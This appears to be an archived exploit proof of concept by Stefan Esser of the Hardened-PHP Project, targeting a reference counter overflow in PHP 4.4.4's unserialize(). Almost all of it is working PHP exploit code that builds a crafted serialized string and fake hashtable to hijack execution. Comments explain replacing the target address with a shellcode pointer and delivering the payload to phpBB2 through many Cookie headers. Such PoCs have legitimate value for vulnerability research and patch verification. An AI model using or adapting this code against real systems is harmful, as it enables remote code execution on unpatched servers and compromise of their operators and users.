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PHP <= 4.4.4 unserialize() ZVAL Reference Counter Overflow Exploit PoC
[======================================================================
PHP <= 4.4.4 unserialize() ZVAL Reference Counter Overflow Exploit PoC
======================================================================
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4 - unserialize() Reference Counter Overflow //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// This exploit is only designed for linux x86 systems
// where 0x08064058 is a readable address in the PHP process
// (should be unless binary images are relocated default systems)
//
// The exploit does nothing useful. It just proves that the CPU
// will try to execute the instruction at 0x99887766 which results
// in a crash. Just replace it with a pointer to your shellcode and
// it will work.
//
// To exploit phpBB2 with this you need to put a similar string
// into the cookie. You must work around the size limit of HTTP
// headers by using MANY Cookie: headers (not folded lines, real
// headers). Additionally you must put at the end of ever line
// a line terminator s:2:" and start every following line with
// ";N; of course with URL encoded ';'
$hashtable = str_repeat("A", 39);
$hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) {
$str .= 'i:0;R:2;';
}
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
unserialize($str);
?>
# 0day.today [2024-11-15] #